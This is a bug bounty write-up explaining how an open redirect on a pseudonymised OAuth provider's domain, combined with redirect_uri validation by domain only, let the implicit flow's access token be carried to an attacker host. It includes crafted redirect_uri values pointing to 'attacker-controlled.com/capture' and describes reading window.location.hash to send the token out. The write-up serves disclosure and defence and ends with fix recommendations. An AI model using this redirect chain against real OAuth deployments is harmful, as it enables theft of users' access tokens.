$8,800 for a Redirect Nobody Validated: Stealing OAuth Tokens Through an Open Redirect

Open redirects usually get dismissed quickly during triage, and for good reason — on their own, "this URL redirects somewhere I chose" rarely causes real harm beyond aiding a phishing page's credibility. This one escalated past that baseline because the redirect lived on the exact domain an OAuth flow had been configured to trust, and OAuth implicit flows leak tokens through exactly the mechanism an open redirect hands an attacker for free.

The target, which I'll call Pinehaven here per their program's disclosure terms, is a project-tracking platform offering an OAuth-based API for third-party integrations, using the implicit grant flow — where the access token itself, not an intermediate authorization code, comes back directly in the redirect URL's fragment after a user approves access.

Finding the Redirect

A marketing-page link-tracking feature on Pinehaven's own domain redirected through a parameter:

https://pinehaven.io/out?url=https://external-site.com

https://pinehaven.io/out?url=https://external-site.com

Testing confirmed no validation restricted the destination at all — any URL, including ones on completely unrelated domains, worked as the redirect target. An open redirect, on its own, usually a low-severity finding.

Why This One Mattered

Pinehaven's OAuth authorization endpoint validated the redirect_uri parameter against each registered application's configured callback — standard, correct behavior, preventing an attacker from simply specifying their own domain as the OAuth callback directly. But the validation only checked that the redirect_uri's domain matched a registered value; it didn't account for the possibility that a path on that exact, legitimately trusted domain could itself redirect elsewhere. Because /out?url= lived on pinehaven.io itself — the very domain a registered application's callback might legitimately point to — I could register an OAuth application with its callback set to the open redirect path:

redirect_uri=https://pinehaven.io/out?url=https://attacker-controlled.com/capture

redirect_uri=https://pinehaven.io/out?url=https://attacker-controlled.com/capture

This passed domain validation cleanly, since pinehaven.io was, after all, a real and expected value.

The Chain

In an implicit grant flow, after a user approves access, the authorization server redirects to the registered redirect_uri with the access token appended as a URL fragment:

https://pinehaven.io/out?url=https://attacker-controlled.com/capture#access_token=abc123...

https://pinehaven.io/out?url=https://attacker-controlled.com/capture#access_token=abc123...

Fragment identifiers aren't sent to the server during a redirect in the conventional sense — but when /out performs its own client-side or server-initiated redirect to the final url parameter's destination, browsers generally preserve the fragment across that second hop, carrying the access token along into the final redirect to my attacker-controlled domain. Once there, a simple script on my page read window.location.hash and exfiltrated the token directly.

Confirming Against My Own Account

I completed the full OAuth consent flow using my own Pinehaven test account and a test third-party application I'd registered for this research, confirming the access token for my own account arrived intact at my capture endpoint after passing through the open redirect.

Scope

Performed entirely against my own account and a self-registered OAuth test application.

The Report

Title: Open redirect on trusted domain combined with OAuth implicit flow enables access token theft via redirect_uri chaining

Root cause: The OAuth authorization endpoint validates redirect_uri by domain only, without accounting for open redirect paths that exist on that same trusted domain. An attacker can register a callback pointing at such a path, which — combined with the implicit flow's practice of appending the access token as a URL fragment — results in the token being carried through to an attacker-controlled final destination.

Reproduction: The vulnerable redirect path, the crafted redirect_uri registration, and confirmation of token capture using a self-controlled account and test application throughout.

Impact: Any user completing an OAuth consent flow for an application registered with this chained redirect_uri has their access token exposed to the attacker, granting whatever permission scope was approved.

Fix recommendations:

• Validate redirect_uri by exact, full path match against a pre-registered value, not domain alone
• Fix the underlying open redirect independently by validating redirect destinations against an allowlist
• Migrate away from the implicit grant flow toward authorization code flow with PKCE, which avoids exposing tokens directly in redirect URLs at all

What Happened After

Pinehaven fixed both the redirect_uri validation and the underlying open redirect within a week, and confirmed migration planning toward authorization code flow. The report closed at $8,800, rated high severity.

Why Open Redirects Deserve a Second Look Near OAuth

An open redirect living on a domain your target's own OAuth flow trusts is worth escalating specifically, since the combination routinely turns a low-severity finding into full token theft — always check whether a trusted domain hosts any redirect functionality before dismissing an open redirect as low impact.